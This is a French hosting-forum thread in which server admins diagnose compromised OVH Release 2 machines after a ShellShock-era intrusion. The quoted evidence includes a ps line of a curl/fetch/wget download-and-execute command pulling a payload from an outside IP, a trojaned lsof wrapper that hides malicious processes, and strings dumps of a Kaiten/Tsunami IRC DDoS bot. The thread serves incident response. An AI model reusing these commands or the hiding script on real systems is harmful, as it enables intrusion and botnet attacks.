et un simple reboot software suffit à arrêter les scripts lancés en RAM.

Bien sûr, ce n'est que du temporaire.

- - - Mise à jour - - -

Citation Envoyé par lte
En attendant une réinstallation, on peut le supprimer ce truc là ?
Oui, le mieux est de regarder si l'autre script est bien le bon binaire de "lsof".

De mon côté, ça donne :

Code:
# which lsof
/usr/sbin/lsof

# cd /usr/sbin

# md5sum lsof
f55c0123de0f67b32f34e1d0df9c56a0  lsof
donc le fichier présent dans "/usr/src/bin/lsof" devrait avoir le même checksum.

Si oui (et seulement si oui), il suffit d'écraser le fichier "/usr/sbin/lsof" par "/usr/src/bin/lsof".

A noter que ce script "/usr/sbin/lsof" n'est pas un "script pirate", c'est seulement une façon
de masquer les actions du pirate. Le remplacer ne va donc pas empêcher le pirate d'agir éventuellement.

- - - Mise à jour - - -

Citation Envoyé par sukkoi30
bonjour tout le monde,

mon serveur a été également mis en rescue hier.
et ce matin j'ai reçu ce mail de la part d'OVH :



redemarrer et faire les mises à jour, puis redemarrer ça suffirait ?
Dans ton cas, ils ne disent pas que ton serveur a été piraté, donc avec un peu de chance,
oui, ça pourrait suffire (pour le moment en tout cas, avec l'idée qu'il va falloir migrer depuis la Release 2
vers un autre système, à plus ou moins brève échéance)

PS : Je viens tout juste de recevoir le même email (mais mon serveur n'a pas été mis en mode Rescue,
ils ont peut-être vu que j'étais déjà en version 2.35)

sukkoi30
22/10/2014, 09h51
bonjour tout le monde,

mon serveur a été également mis en rescue hier.
et ce matin j'ai reçu ce mail de la part d'OVH :

Madame, Monsieur,

Votre compte client chez OVH est : jj10149-ovh.

Une faille de sécurité a récemment été découverte, elle peut
permettre à des personnes mal intentionnées de prendre le
contrôle de votre machine, et notamment d'accéder, altérer
ou supprimer vos données.

Nous avons détecté que votre serveur dédié ns25536.ovh.net
était installé sous le système d'exploitation Release 2 OVH (Gentoo).

Il est très important de mettre votre système à jour pour combler
la faille de sécurité. Vous trouverez ci dessous des informations
sur la procédure à suivre :

wget -q ftp://ftp.ovh.net/made-in-ovh/releas...l-release-2.sh -O patch-all-release-2.sh; sh patch-all-release-2.sh


Si vous n'avez toujours pas mis à jour votre système d'exploitation,
nous vous invitons à le faire dès maintenant.
Si votre serveur a été redémarré en mode "rescue" par nos systèmes,
redémarrez-le en mode normal afin d'effectuer la mise à jour. Quand
celle-ci est terminée, redémarrez le une nouvelle fois.


Si vous avez corrigé le problème entre temps, merci de ne pas tenir
compte de ce message.


Cordialement,

Support Client OVH
redemarrer et faire les mises à jour, puis redemarrer ça suffirait ?

lte
22/10/2014, 09h48
Avec ce petit script "/usr/sbin/lsof" à la place du binaire classique
il est clair à 100% que la machine a été piratée (pour ceux qui auraient des doutes).
En attendant une réinstallation, on peut le supprimer ce truc là ?

Un_passant
22/10/2014, 09h47
Même question, il y a moyen de bloquer le hack le temps de faire les changements?

nono67
22/10/2014, 09h43
Je trouve quand même qu'on baisse les bras un peu vite et qu'on laisse un boulevard à ces connards de hackers : il faut les faire chier, les traquer, les emmerder, leur pourrir leur travail comme ils pourrissent le notre, bref leur foutre une telle pression qu'ils iront voir ailleurs....

Si cassiopee nous envoie par email les bons fichiers (non corrompus) ci-dessous :

/usr/bin/crontab
/var/spool/cron/crontabs
/var/spool/cron/crontabs/root
Qu'on supprime de notre serveur hacké ces fichiers corrompus, qu'on applique la patch de sécurité pour passer en release 2.35, qu'on ré-installe les bons fichiers crontab de cassiopee dans les bons répertoires, est-ce que cela ne relancera pas les taches cron et est-ce que ça ne pourrait faire chier ces connards de hackeurs ? Au moins les freiner et les emmerder un peu ?

Un énome merci à cassiopee qui nous apporte toujours dans les coups durs de précieux renseignements et une précieuse aide. Tu es vraiment d'utilité public

cassiopee
22/10/2014, 09h25
Citation Envoyé par Un_passant
Voici le contenu :
Ok, ce script agit comme une surcouche de la vraie commande "lsof" et il masque toute
une série de processus en RAM dont on voit ici la liste : "grep" "lsof", "sync" "bufd", etc.

Dans une Release 2, il n'y a pas de fichier "/usr/src/bin/lsof" (qui doit être le vrai "lsof"),
donc si vous ne voulez pas que le pirate se cache, utilisez directement cette commande
et non "lsof" tout court.

Avec ce petit script "/usr/sbin/lsof" à la place du binaire classique,
il est clair à 100% que la machine a été piratée (pour ceux qui auraient des doutes).

Un_passant
22/10/2014, 09h16
Voici le contenu :
#!/bin/sh
if [ -f /usr/src/bin/lsof ]; then
/usr/src/bin/lsof "$@" | grep -v grep | grep -v lsof | grep -v sync | grep -v bufd | grep -v 7500 | grep -v fileserver | grep -v 666 | grep -v applnk | grep -v filearch | grep -v libsslo | grep -v kaud
fi

bbr18
22/10/2014, 09h15
et surtout faites très attention de ne pas migrer des fichiers corrompus, envoyez des fichiers que vous savez être sains (uniquement vos données et BDD)

cassiopee
22/10/2014, 09h13
Citation Envoyé par Operceval
ovh devrait porposer un paliatif , c est trop brutal comme transition . imaginez ceux qui ont plus de 10 serveurs qui tournent depuis plusieurs années ...
Je suis d'accord mais d'un autre côté, si la Release 2 était encore installable, la plupart ne changerait pas de système
et continuerait avec elle ... et dans 6 mois, rebelote

Actuellement une machine en 2.35 ne semble pas trop exposée, ce qui laisse le temps de migrer en douceur.

mon bleme a moi c est que j ai un serveur dont le client n'est pas compatible php 5.3 et mysql derniere version. il va falloir prendre une machine nue et installer les services minimums . quoi mettre pour la gestion du domaine ?
Comme panel de gestion ?

Dans les gratuits, il y a Virtualmin qui est très bien. Dans les payants, cPanel est bien.

Mais bon, c'est un peu comme les équipes de football, chacun a ses préférences
pour des raisons pas forcément cartésiennes

Le souci avec une application PHP compatible seulement 5.2, c'est qu'il va falloir
songer à la mettre à jour : il sera de plus en plus difficile de trouver un hébergement
compatible (et bien sûr, ça a un coût, c'est compliqué, etc.)

- - - Mise à jour - - -

Citation Envoyé par Garden
Non
Code:
# ls -al /usr/sbin/lsof
-rwxr-xr-x 1 root root 276 nov 28  2008 /usr/sbin/lsof
Il est bien petit ce fichier (276 octets), ce serait possible de voir son contenu ?

Un_passant
22/10/2014, 09h09
Je viens de lancer la commande lsattr -R / 2>/dev/null | grep -- 's---ia--------' et j'ai à peu prés la même liste de fichier ...
Je vais prendre un autre serveur afin de commencer la migration, j’espère que le hacker me laissera plusieurs jours car ce n'ai pas comme si je n'avais rien à faire en ce moment...

Operceval
22/10/2014, 09h06
ovh devrait porposer un paliatif , c est trop brutal comme transition . imaginez ceux qui ont plus de 10 serveurs qui tournent depuis plusieurs années ...
mon bleme a moi c est que j ai un serveur dont le client n'est pas compatible php 5.3 et mysql derniere version. il va falloir prendre une machine nue et installer les services minimums . quoi mettre pour la gestion du domaine ?

cassiopee
22/10/2014, 08h53
Citation Envoyé par bbr18
Toutes ces "solutions" ne doivent être que temporaires, le temps de vous organiser, mais garder un serveur qui a été gravement compromis c'est comme jouer avec un obus non désamorcé : un jour ça va sauter, une seule solution : réinstaller
Ce hacker a installé de quoi lancer des DDOS à partir des serveurs, quand il va le faire, ovh mettra le serveur en rescue ftp et vous serez abligés de réinstaller, il est beaucoup plus raisonnable de le faire tranquillement, tant que le serveur est en mode normal.
Tout à fait d'accord.

En ne perdant pas de vue que la réinstallation en Release 2 n'est plus possible actuellement,
(OVH ayant retiré la Release 2 de la liste des systèmes d'exploitation installables)
cela implique donc de réinstaller avec un autre système d'exploitation.

Le plus sûr étant de faire ça avec deux serveurs : l'ancien, en Release 2, compromis,
et le nouveau en parallèle. Cela permet de faire le transfert disons en 2-3 jours
plutôt qu'en 2-3 heures sinon et de s'assurer que l'on a rien oublié dans le nouveau
serveur avant de lacher/résilier l'ancien.

- - - Mise à jour - - -

Citation Envoyé par Operceval
un firewall et délpacer le port 22 peut aider ? déplacer le port 1000 ?
Si la machine a déjà été piratée, non, cela ne sert plus à rien, le pirate étant déjà dans la place.

Si la machine n'a pas encore été piratée, cela peut aider, un peu, éventuellement mais le plus gros
des piratages se faisant actuellement par le web (ShellShock ou autre faille dans des CMS
(WordPress, Joomla, etc.) non à jour,), cela ne servira à rien.

Operceval
22/10/2014, 08h46
un firewall et délpacer le port 22 peut aider ? déplacer le port 1000 ?

cassiopee
22/10/2014, 08h44
Citation Envoyé par lte
Euhmmm... tu peux expliquer ce bout de code ?
Il me sort a peu prêt la même liste..
Je vais me permettre de répondre à la place de Garden dans l'idée
que d'autres personnes qui nous lisent peuvent être intéressées
et que c'est "un peu" urgent :

- "lsattr -R /" va lister les attributs étendus des fichiers de façon récursive
depuis la racine du disque

- "2>/dev/null", c'est pour ne pas afficher d'éventuelles erreurs "normales".

- "grep -- 's---ia--------'" c'est pour lui dire de rechercher, dans la liste
fournie par lsattr, des fichiers ayant 's---ia--------' comme attributs étendus.

Je viens d'utiliser cette commande dans ma Release 2 2.35 : aucun résultat.

bbr18
22/10/2014, 08h35
Toutes ces "solutions" ne doivent être que temporaires, le temps de vous organiser, mais garder un serveur qui a été gravement compromis c'est comme jouer avec un obus non désamorcé : un jour ça va sauter, une seule solution : réinstaller
Ce hacker a installé de quoi lancer des DDOS à partir des serveurs, quand il va le faire, ovh mettra le serveur en rescue ftp et vous serez abligés de réinstaller, il est beaucoup plus raisonnable de le faire tranquillement, tant que le serveur est en mode normal.

lte
22/10/2014, 08h28
Citation Envoyé par Garden
J'ai trouvé ce code pour trouver les fichiers hackés :

Code:
# lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /etc/runlevels/default/webmin
s---ia-------- /etc/init.d/webmin
s---ia-------- /usr/sbin/lsof
s---ia-------- /usr/libexec/ssh-keysign
s---ia-------- /usr/src/bin
s---ia-------- /usr/src/bin/lsof
s---ia-------- /var/lib/init.d/softscripts/webmin
s---ia-------- /var/lib/init.d/started/webmin
Euhmmm... tu peux expliquer ce bout de code ?
Il me sort a peu prêt la même liste..

cassiopee
22/10/2014, 08h04
Citation Envoyé par seifou
Non, la commande last-150 ne retourne rien de suspect

Eh oui, ça date du 30 septembre mais j'avoue que c'est incompréhensible la situation dans laquelle se trouve le serveur.

La machine n'a pas été clairement hackée, voir peut être même pas du tout.
Je me souviens d'il y a quelques années, ovh avait chmod 000 le dossier /home/ovh des R2 qui n'étaient pas à jour suite à la découverte d'une faille critique.
ovh avait donc bien agi sur le serveur sans le mettre en rescue.
Je me suis posé la question concernant le problème actuel et si ils ne sont pas intervenus en amont sur certains serveurs.
Oui mais si OVH était intervenu dans la machine, la commande "last" devrait le montrer
(c'est le cas par exemple lorsque l'on réinstalle une machine)

Là on voit une commande exécutée en tant que "root" et aucune connexion d'OVH.
Si ce n'est pas toi non plus qui l'a fait, à part un piratage, je ne vois pas trop.

Surtout que la date de l'effacement correspond à la grande vague de ShellShock (30 septembre).
Sauf si le dédié se fait piraté tous les mois, ce serait quand même une étonnante coïncidence.

J'ai vérifier tous les fichiers, ils semblent tous corrects et avec leurs anciens droits.

Le seul mystère à l'heure actuelle, c'est de savoir pourquoi les tâches crons ont été effacés et pourquoi elles ne s’exécutent plus maintenant ?
Peut-être que le piratage a partiellement échoué, que le pirate a été interrompu,
que son exploit n'était pas encore au point, etc.

(version moins optimiste : que le pirate est bien là mais que tu ne le vois pas )

Il arrive souvent qu'un piratage se fasse en plusieurs temps, parfois séparés de plusieurs journées.

Quant au fait que ça ne s'exécute plus maintenant, il faut tout passer au crible :

- est-ce les fichiers attendus pour cron sont bien là où il faut ?
- est-ce qu'il ont les bons droits Unix + propriétaire ?
- est-ce que les fichiers de configuration de cron ont un bon contenu ?
- est-ce que le démon "cron" n'a pas été altéré ? (cf la discussion avec Garden)
- etc.

le tout en comparant avec une Release 2 "normale".

- - - Mise à jour - - -

Citation Envoyé par Garden
Code:
# strings /tmp/arm

/lib/ld-uClibc.so.0
libgcc_s.so.1
malloc
C'est bavard un "strings" mais très utile

Donc là on voit que ce sont vraisemblablement des outils de DDoS.

- - - Mise à jour - - -

Citation Envoyé par kgb203
Je les ai ouverts, et, entre autres joyeusetés, on y trouve : (...) tsunami (...) flooders (...) socket (...) killall (...)
Hmmm...

Un "ps aux" laissait aussi, effectivement, apparaître de nouveaux éléments :

Code:
root     16194  0.0  0.0  10096  1408 ?        S    Oct21   0:00 sh /tmp/.init
(...)
root     22192  0.0  0.0  17376  2124 ?        S    Oct21   0:01 curl -o /tmp/init http://205.237.100.171/manual/b
(...)
root     25249  0.0  0.0   5792  1164 ?        S    Oct21   0:00 sh -c (hostname) 2>/dev/null
root     25250  0.0  0.0  10092  1392 ?        S    Oct21   0:00 /bin/bash -c curl -o /tmp/.init http://205.237.100.171/manual/init;fetch -o /tmp/.init http://205.237.100.171/manual/init;wget http://205.237.100.171/manual/init -O /tmp/.init;sh /tmp/.init;rm -rf /tmp/.init
J'ai fait le ménage et un reboot soft, les process clairement inopportuns ne sont plus là, mais ça reviendra. Plus tôt que tard...
Quelques nuits blanches de boulot s'annoncent...

Merci pour votre aide !
Ok, ces commandes sont celles que j'ai vue dans le second script, celui lancé de façon hebdomadaire par cron

bbr18
22/10/2014, 07h47
Citation Envoyé par cassiopee
Je vais devoir vous quitter pour le moment. Demain matin tôt j'installe
une Debian + Virtualmin pour un client (rien à voir avec les soucis indiqués
ici mais c'est quelqu'un qui est bien content de s'être éloigné de la Release 2
il y a quelques temps déjà sur mes conseils ).
Je suis bien contente d'avoir aussi fait le choix d'abandonner la R2 avant que ce genre de catastrophe arrive.
Bon courage à tous ceux qui vont devoir migrer, c'est du boulot mais ça vaut le coup

kgb203
22/10/2014, 01h34
Citation Envoyé par cassiopee
Ce sont peut-être des binaires de malware prévus pour d'autres CPU que Intel
(ou alors simplement des noms bidons afin de brouiller les pistes)
Je les ai ouverts, et, entre autres joyeusetés, on y trouve : (...) tsunami (...) flooders (...) socket (...) killall (...)
Hmmm...

Un "ps aux" laissait aussi, effectivement, apparaître de nouveaux éléments :

Code:
root     16194  0.0  0.0  10096  1408 ?        S    Oct21   0:00 sh /tmp/.init
(...)
root     22192  0.0  0.0  17376  2124 ?        S    Oct21   0:01 curl -o /tmp/init http://205.237.100.171/manual/b
(...)
root     25249  0.0  0.0   5792  1164 ?        S    Oct21   0:00 sh -c (hostname) 2>/dev/null
root     25250  0.0  0.0  10092  1392 ?        S    Oct21   0:00 /bin/bash -c curl -o /tmp/.init http://205.237.100.171/manual/init;fetch -o /tmp/.init http://205.237.100.171/manual/init;wget http://205.237.100.171/manual/init -O /tmp/.init;sh /tmp/.init;rm -rf /tmp/.init
J'ai fait le ménage et un reboot soft, les process clairement inopportuns ne sont plus là, mais ça reviendra. Plus tôt que tard...
Quelques nuits blanches de boulot s'annoncent...

Merci pour votre aide !

Garden
22/10/2014, 01h25
Code:
# strings /tmp/arm
/lib/ld-uClibc.so.0
libgcc_s.so.1
malloc
abort
__deregister_frame_info
strlen
_Jv_RegisterClasses
__register_frame_info
raise
free
__udivsi3
__divsi3
__nedf2
__eqdf2
__divdf3
__ltdf2
__muldf3
__gedf2
__fixunsdfsi
__floatunsidf
__subdf3
__libc_sigaction
strcpy
getrlimit
ioctl
_stdio_openlist_use_count
strtok_r
getgid
popen
sysconf
vsprintf
getdtablesize
__sigdelset
__uClibc_fini
memrchr
geteuid
inet_pton
memmove
pclose
munmap
__libc_fcntl
atol
_h_errno
__ctype_b
getegid
__libc_accept
execve
setstate_r
fgets
__libc_getpid
__xpg_strerror_r
memcpy
execl
_stdio_openlist_dec_use
__libc_select
__libc_nanosleep
dup2
getuid
feof
isatty
vsnprintf
__C_ctype_tolower
gethostbyname_r
socket
_pthread_cleanup_pop_restore
mempcpy
__ctype_toupper
__libc_read
__environ
mmap
wcsnrtombs
__fgetc_unlocked
srandom_r
strtol
pipe
__libc_lseek64
strnlen
rawmemchr
__malloc_state
__sigaddset
strrchr
__pthread_mutex_unlock
wait4
fstat
__resolv_lock
kill
fputs_unlocked
bind
_stdio_openlist
inet_addr
ntohl
fseeko
_stdio_openlist_del_count
setsockopt
fseek
mremap
setstate
__pthread_initialize_minimal
__stdin
__progname
flock
strcoll
strncmp
wcsrtombs
_stdio_user_locking
strncpy
program_invocation_short_name
strcasecmp
htonl
__C_ctype_toupper
realloc
__libc_send
strtok
listen
malloc_trim
fdopen
strncat
__uClibc_init
__getpagesize
inet_network
__uClibc_main
__malloc_lock
sbrk
strdup
__libc_close
inet_aton
_pthread_cleanup_push_defer
__sigismember
fopen
__libc_open
memset
__glibc_strerror_r
srand
initstate
fclose
ntohs
getppid
tcgetattr
__C_ctype_tolower_data
time
strcmp
__default_sa_restorer
__h_errno_location
getcwd
__C_ctype_b_data
gethostbyname
__default_rt_sa_restorer
__libc_waitpid
stderr
vfork
__C_ctype_b
srandom
__libc_fork
__atexit_lock
fputc
__libc_fcntl64
fflush_unlocked
fwrite_unlocked
__pagesize
_stdio_openlist_add_lock
__stdout
htons
initstate_r
__errno_location
inet_ntop
__C_ctype_toupper_data
atoi
_stdio_openlist_del_lock
fgets_unlocked
_exit
strspn
__libc_recv
__libc_creat
program_invocation_name
__libc_write
__libc_sendto
strchr
fputs
__data_start
fseeko64
__ctype_tolower
wcrtomb
__libc_connect
vfprintf
strpbrk
sigprocmask
__fputc_unlocked
__libc_stack_end
_edata
__bss_start
__bss_start__
__bss_end__
__end__
__pthread_mutex_lock
__pthread_mutex_trylock
GCC_4.2.0
GLIBC_2.0
GCC_3.0
``'
gfffL
A0@-
x.secureshellz.net
NOTICE %s :Unable to comply.
/usr/dict/words
%s : USERID : UNIX : %s
NOTICE %s :GET  
NOTICE %s :Unable to create socket.
http://
NOTICE %s :Unable to resolve address.
NOTICE %s :Unable to connect to http.
GET /%s HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)
Host: %s:80
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
NOTICE %s :Receiving file.
NOTICE %s :Saved as %s
NOTICE %s :Spoofs: %d.%d.%d.%d
NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d
NOTICE %s :Kaiten wa goraku
NOTICE %s :NICK 
NOTICE %s :Nick cannot be larger than 9 characters.
NICK %s
NOTICE %s :DISABLE 
Disabled
Enabled and awaiting orders
NOTICE %s :Current status is: %s.
NOTICE %s :Already disabled.
NOTICE %s :Password too long! > 254
NOTICE %s :Disable sucessful.
NOTICE %s :ENABLE 
NOTICE %s :Already enabled.
NOTICE %s :Wrong password
NOTICE %s :Password correct.
NOTICE %s :Removed all spoofs
NOTICE %s :What kind of subnet address is that? Do something like: 169.40
NOTICE %s :Unable to resolve %s
NOTICE %s :UDP   
NOTICE %s :Packeting %s.
NOTICE %s :PAN   
NOTICE %s :Panning %s.
NOTICE %s :TSUNAMI  
NOTICE %s :Tsunami heading for %s.
NOTICE %s :UNKNOWN  
NOTICE %s :Unknowning %s.
NOTICE %s :MOVE 
NOTICE %s :TSUNAMI                            = Special packeter that wont be blocked by most firewalls
NOTICE %s :PAN                          = An advanced syn flooder that will kill most network drivers
NOTICE %s :UDP                          = A udp flooder
NOTICE %s :UNKNOWN                            = Another non-spoof udp flooder
NOTICE %s :NICK                                       = Changes the nick of the client
NOTICE %s :SERVER                                   = Changes servers
NOTICE %s :GETSPOOFS                                        = Gets the current spoofing
NOTICE %s :SPOOFS                                   = Changes spoofing to a subnet
NOTICE %s :DISABLE                                          = Disables all packeting from this client
NOTICE %s :ENABLE                                           = Enables all packeting from this client
NOTICE %s :KILL                                             = Kills the client
NOTICE %s :GET                       = Downloads a file off the web and saves it onto the hd
NOTICE %s :VERSION                                          = Requests version of client
NOTICE %s :KILLALL                                          = Kills all current packeting
NOTICE %s :HELP                                             = Displays this
NOTICE %s :IRC                                     = Sends this command to the server
NOTICE %s :SH                                      = Executes a command
NOTICE %s :Killing pid %d.
TSUNAMI
UNKNOWN
NICK
SERVER
GETSPOOFS
SPOOFS
DISABLE
ENABLE
KILL
VERSION
KILLALL
HELP
IRC
export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s
NOTICE %s :%s
MODE %s -xi
JOIN %s :%s
WHO %s
PONG %s
NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
PRIVMSG
PING
/tmp/.z
/etc/rc.d/rc.local
/etc/rc.conf
"%s%s"
[crypt]
#micro
bleh
NICK %s
USER %s localhost localhost :%s
ERROR
/bin/sh
(nil)
(null)
hlLjztqZ
npxXoudifFeEgGaACScs
 +0-#'I
Unknown error
Success
Operation not permitted
No such file or directory
No such process
Interrupted system call
Input/output error
No such device or address
Argument list too long
Exec format error
Bad file descriptor
No child processes
Resource temporarily unavailable
Cannot allocate memory
Permission denied
Bad address
Block device required
Device or resource busy
File exists
Invalid cross-device link
No such device
Not a directory
Is a directory
Invalid argument
Too many open files in system
Too many open files
Inappropriate ioctl for device
Text file busy
File too large
No space left on device
Illegal seek
Read-only file system
Too many links
Broken pipe
Numerical argument out of domain
Numerical result out of range
Resource deadlock avoided
File name too long
No locks available
Function not implemented
Directory not empty
Too many levels of symbolic links
No message of desired type
Identifier removed
Channel number out of range
Level 2 not synchronized
Level 3 halted
Level 3 reset
Link number out of range
Protocol driver not attached
No CSI structure available
Level 2 halted
Invalid exchange
Invalid request descriptor
Exchange full
No anode
Invalid request code
Invalid slot
Bad font file format
Device not a stream
No data available
Timer expired
Out of streams resources
Machine is not on the network
Package not installed
Object is remote
Link has been severed
Advertise error
Srmount error
Communication error on send
Protocol error
Multihop attempted
RFS specific error
Bad message
Value too large for defined data type
Name not unique on network
File descriptor in bad state
Remote address changed
Can not access a needed shared library
Accessing a corrupted shared library
.lib section in a.out corrupted
Attempting to link in too many shared libraries
Cannot exec a shared library directly
Invalid or incomplete multibyte or wide character
Interrupted system call should be restarted
Streams pipe error
Too many users
Socket operation on non-socket
Destination address required
Message too long
Protocol wrong type for socket
Protocol not available
Protocol not supported
Socket type not supported
Operation not supported
Protocol family not supported
Address family not supported by protocol
Address already in use
Cannot assign requested address
Network is down
Network is unreachable
Network dropped connection on reset
Software caused connection abort
Connection reset by peer
No buffer space available
Transport endpoint is already connected
Transport endpoint is not connected
Cannot send after transport endpoint shutdown
Too many references: cannot splice
Connection timed out
Connection refused
Host is down
No route to host
Operation already in progress
Operation now in progress
Stale NFS file handle
Structure needs cleaning
Not a XENIX named type file
No XENIX semaphores available
Is a named type file
Remote I/O error
Disk quota exceeded
No medium found
Wrong medium type
/dev/null
/etc/resolv.conf
/etc/config/resolv.conf
nameserver
domain
search
0123456789abcdef
/etc/hosts
/etc/config/hosts
CAk[S
Code:
# strings /tmp/mips
/lib/ld-uClibc.so.0
_init
_fini
__uClibc_main
__deregister_frame_info
__register_frame_info
_Jv_RegisterClasses
strwildmatch
toupper
vsprintf
strlen
write
disabled
sock
Send
numpids
malloc
free
spoofsm
memset
fopen
fgets
filter
memcpy
fclose
socket
bind
listen
accept
exit
select
recv
ident
mfork
strncmp
strcpy
inet_addr
gethostbyname
connect
__fputc_unlocked
fputc
dispass
strcasecmp
strcat
inet_network
bcopy
time
host2ip
atoi
atol
in_cksum
getspoof
sendto
getpid
srand
ioctl
strdup
server
changeservers
sleep
kill
chan
nick
popen
feof
pclose
strncpy
flooders
makestring
numservers
__errno_location
setsockopt
flock
getcwd
strcmp
fputs
getppid
user
waitpid
strtok
msgs
tsunami
unknown
nickc
move
getspoofs
disable
enable
killd
version
killall
help
_352
_376
_433
_PRIVMSG
_PING
_NICK
libgcc_s.so.1
_DYNAMIC_LINKING
__RLD_MAP
libc.so.0
_GLOBAL_OFFSET_TABLE_
_ftext
_fdata
_edata
__bss_start
_fbss
_end
GCC_3.0
 ~9'
B$! @
B$! `
B$! `
E$!0`
B$! @

Merci pour ton aide Cassiopee !

seifou
22/10/2014, 01h23
Ok Cassiopee, merci pour tes conseils et ton aide.

Je vais continuer à chercher....

seifou
22/10/2014, 01h15
Non, la commande last-150 ne retourne rien de suspect

Eh oui, ça date du 30 septembre mais j'avoue que c'est incompréhensible la situation dans laquelle se trouve le serveur.

La machine n'a pas été clairement hackée, voir peut être même pas du tout.
Je me souviens d'il y a quelques années, ovh avait chmod 000 le dossier /home/ovh des R2 qui n'étaient pas à jour suite à la découverte d'une faille critique.
ovh avait donc bien agi sur le serveur sans le mettre en rescue.
Je me suis posé la question concernant le problème actuel et si ils ne sont pas intervenus en amont sur certains serveurs.

J'ai vérifier tous les fichiers, ils semblent tous corrects et avec leurs anciens droits.

Le seul mystère à l'heure actuelle, c'est de savoir pourquoi les tâches crons ont été effacés et pourquoi elles ne s’exécutent plus maintenant ?

cassiopee
22/10/2014, 01h14
Citation Envoyé par Garden
Ceux ci me semble louche non?
Code:
 #  ls -al /tmp
-rwxr-xr-x  1 root    root   113948 oct  5 21:56 arm
-rwxr-xr-x  1 root    root    14210 oct 22 00:45 mips
Oui, pas mal louche

Ce sont peut-être des binaires de malware prévus pour d'autres CPU que Intel
(ou alors simplement des noms bidons afin de brouiller les pistes)

Outre essayer de les ouvrir dans un éditeur de texte, une commande telle que :

Code:
# file /tmp/arm

# file /tmp/mips
pourrait donner quelques infos.

S'il s'agit de binaires ( = exécutables au sens Unix), la commande :

Code:
# strings /tmp/arm

# strings /tmp/mips
peut éventuellement donner des infos sur ce que font ces programmes
en affichant les chaînes de caractères présentes dans ces fichiers.

Je vais devoir vous quitter pour le moment. Demain matin tôt j'installe
une Debian + Virtualmin pour un client (rien à voir avec les soucis indiqués
ici mais c'est quelqu'un qui est bien content de s'être éloigné de la Release 2
il y a quelques temps déjà sur mes conseils )

Je repasserais ici demain.

Garden
22/10/2014, 01h13
Citation Envoyé par cassiopee
la taille et la date du fichier correspondent au mien ?
Non
Code:
# ls -al /usr/sbin/lsof
-rwxr-xr-x 1 root root 276 nov 28  2008 /usr/sbin/lsof

Citation Envoyé par cassiopee
Surtout que dans l'absolu, il faudrait reprendre tous les fichiers du système, pas juste un ou deux.
J'ai trouvé ce code pour trouver les fichiers hackés :

Code:
# lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /etc/runlevels/default/webmin
s---ia-------- /etc/init.d/webmin
s---ia-------- /usr/sbin/lsof
s---ia-------- /usr/libexec/ssh-keysign
s---ia-------- /usr/src/bin
s---ia-------- /usr/src/bin/lsof
s---ia-------- /var/lib/init.d/softscripts/webmin
s---ia-------- /var/lib/init.d/started/webmin

Garden
22/10/2014, 01h05
Citation Envoyé par cassiopee
Qu'y a-t'il dans le répertoire "/tmp" (via la commande "ls -al /tmp") ?
Ceux ci me semble louche non?
Code:
 #  ls -al /tmp
-rwxr-xr-x  1 root    root   113948 oct  5 21:56 arm
-rwxr-xr-x  1 root    root    14210 oct 22 00:45 mips

cassiopee
22/10/2014, 01h03
Citation Envoyé par Garden
Code:
 # md5sum /usr/sbin/lsof
6b286418f609246a03ab4986e5cd612b  /usr/sbin/lsof
donc fichier corrompu.
Vu les attributs étendus (empêchant la suppression/modification des fichiers en question)
c'était à craindre en effet :-/ (la taille et la date du fichier correspondent au mien ?)

y a moyen que qq1 qui ai les fichiers d'origine nous les donne ou ces des fichier dependant du serveur?
Moi je les ai (pour la v 2.35 seulement) mais je crois que le mieux est quand même de réinstaller/migrer le système,
pas de le conserver plus ou moins en l'état.

Surtout que dans l'absolu, il faudrait reprendre tous les fichiers du système, pas juste un ou deux.

cassiopee
22/10/2014, 00h57
Citation Envoyé par seifou
Release 2.33 pas 2.35 :/

Sep 30 11:00:16 nsxxxxxx crontab[23269]: (root) LIST (root)
Sep 30 11:00:17 nsxxxxxx crontab[23793]: (root) LIST (root)
Sep 30 11:00:17 nsxxxxxx crontab[23805]: (root) DELETE (root)
Euh mais d'après la date, ca a été supprimé il y a presque un mois ?
(je croyais que l'on parlait de quelque chose de très récent)

Pile-poil au moment (30 septembre) où le ShellShock a fait son apparition,
ce n'est sans doute pas une coïncidence

La commande "last -150" ne donne rien de suspect ?

Garden
22/10/2014, 00h55
Code:
 # md5sum /usr/sbin/lsof
6b286418f609246a03ab4986e5cd612b  /usr/sbin/lsof
donc fichier corrompu.

y a moyen que qq1 qui ai les fichiers d'origine nous les donne ou ces des fichier dependant du serveur?

seifou
22/10/2014, 00h53
Release 2.33 pas 2.35 :/

Sep 30 11:00:16 nsxxxxxx crontab[23269]: (root) LIST (root)
Sep 30 11:00:17 nsxxxxxx crontab[23793]: (root) LIST (root)
Sep 30 11:00:17 nsxxxxxx crontab[23805]: (root) DELETE (root)

cassiopee
22/10/2014, 00h47
Citation Envoyé par Garden
Voici les autres fichiers avec ces droit bizarres sur mon serveur, lié au hack et donc corrompus?
Très étrange en effet.

Pour l'un d'entre eux, voici ce que je vois de mon côté :

Code:
 # ls -al /usr/sbin/lsof

-rwxr-xr-x 1 root root 117504 mai 29  2006 /usr/sbin/lsof
Code:
# lsattr /usr/sbin/lsof

-------------- /usr/sbin/lsof
Et enfin :

Code:
 # md5sum /usr/sbin/lsof

f55c0123de0f67b32f34e1d0df9c56a0  /usr/sbin/lsof
- - - Mise à jour - - -

Citation Envoyé par seifou
Par quelle porte serait-il entré ce gentil môssieur ? on peut le savoir ?
Il y a tellement de possibilités : si la Release n'est pas en 2.35, le ShellShock est un bon candidat (mais pas le seul).

Si la Release est en 2.35, alors on peut suspecter le piratage d'un site web, cf les pistes que j'évoquais plus haut.

J'ai vérifié mes logs et j'ai bien une ligne où mes 2 crons sont supprimés
On peut voir cette ligne ?

seifou
22/10/2014, 00h40
Citation Envoyé par cassiopee
Je pense plutôt que ce n'est pas OVH qui est intervenu dans ton serveur mais un piratage à moitié réussi
(ou à moitié raté, question de point de vue )

Si ta machine avait été détectée comme piratée par OVH, ils l'auraient mis en mode Rescue.
Par quelle porte serait-il entré ce gentil môssieur ? on peut le savoir ?

